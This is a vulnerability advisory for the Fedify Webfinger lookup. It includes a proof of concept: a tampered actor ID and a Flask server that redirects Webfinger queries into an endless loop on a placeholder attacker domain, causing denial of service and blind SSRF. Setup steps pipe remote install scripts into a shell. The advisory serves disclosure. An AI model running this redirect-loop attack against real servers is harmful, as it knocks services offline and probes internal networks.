This vulnerability allows a user to maneuver the Webfinger mechanism to perform a GET request to any internal resource on any Host, Port, URL combination regardless of present security mechanisms, and forcing the victim’s server into an infinite loop causing Denial of Service. Moreover, this issue can also be maneuvered into performing a Blind SSRF attack.
(,1.0.13]
(,1.1.10]
(,1.2.10]
(,1.3.3]
The Webfinger endpoint takes a remote domain for checking accounts as a feature, however, as per the ActivityPub spec (https://www.w3.org/TR/activitypub/#security-considerations), on the security considerations section at B.3, access to Localhost services should be prevented while running in production.
The lookupWebFinger function, responsible for returning an actor handler for received actor objects from a remote server, can be abused to perform a Denial of Service (DoS) and Blind SSRF attacks while attempting to resolve a malicious actor’s object.
- In order to show a use case of the vulnerability, we can use the demo app presented at this URL: https://github.com/dahlia/microblog
- We will create two machines, victim and attacker, each one on a different server with different domains.
Victim Machine
- Create a new instance (we tested on ubuntu’s latest version), and update the package manager.
- Install a Deno server:
curl -fsSL https://deno.land/install.sh | sh
source ~/.bashrc
deno --version #check deno is working
- Pull the git repository of the victim blog app:
git clone https://github.com/dahlia/fedify.git
- Modify the federation object to remove signature checks for the sake of easy testing:
On file /examples/blog/federation/mod.ts edit the createFederation
object the following attribute: skipSignatureVerification: true.
- Change into the blog app directory ( /examples/blog ) and run the app:
deno task preview
- Surf to the application on the browser, and register a user on the app.
Attacker Machine
- Create a new instance (we tested on ubuntu’s latest version), and update the package manager.
- Install NVM in order to install the latest version of NPM and NODEJS (and source current shell to check it worked):
curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.40.1/install.sh | bash
source ~/.bashrc
nvm list-remote
- Install the latest stable version:
nvm install {latest_ver} #for example: v20.10.0
source ~/.bashrc
npm -v #check it works
node -v #check it works
- Download the attacker app repository:
git clone https://github.com/dahlia/microblog.git
- Disable request signature validations: Edit the /src/federation.ts file and add a skipSignatureVerification: true attribute to the createFederation object.
- Modify the /src/federation.ts file and tamper with the Person object on the actor dispatcher ( setActorDispatcher(\"/users/{identifier}\" ) - change the actor ID attribute “id: ctx.getActorUri(identifier)” into “id: new URL(‘http://<ATTACKER_MACHINE_DOMAIN>:1337/users/enterloop’)”.
- Install Python flask and create the Python Flask redirect server:
apt update
apt install python3-flask
from flask import Flask, redirect
app = Flask(__name__)
@app.route('/health')
def health():
return \"hello\", 200
@app.route('/.well-known/webfinger')
def ssrfinger():
return redirect(\"http://<ATTACKER_MACHINE_DOMAIN>:1337/endlessloop\")
@app.route('/endlessloop')
def endlessloop():
return redirect(\"http://<ATTACKER_MACHINE_DOMAIN>:1337/endlessloop\")
if __name__ == '__main__':
app.run(debug=True,host='0.0.0.0' ,port=1337)
- Run the python server and attempt to reach the “/health” path to see the server functions as expected.
- Read the README.txt file on the attacker app and follow the instructions on how to execute the app.
- Surf the app on the browser and attempt to follow the federated user on the victim’s machine.
- Send the “follow” request and watch the victim app continue to query the redirect server infinitely (It is possible to repeat this step multiple times causing multiple loops).
No mitigations are provided for this vulnerability.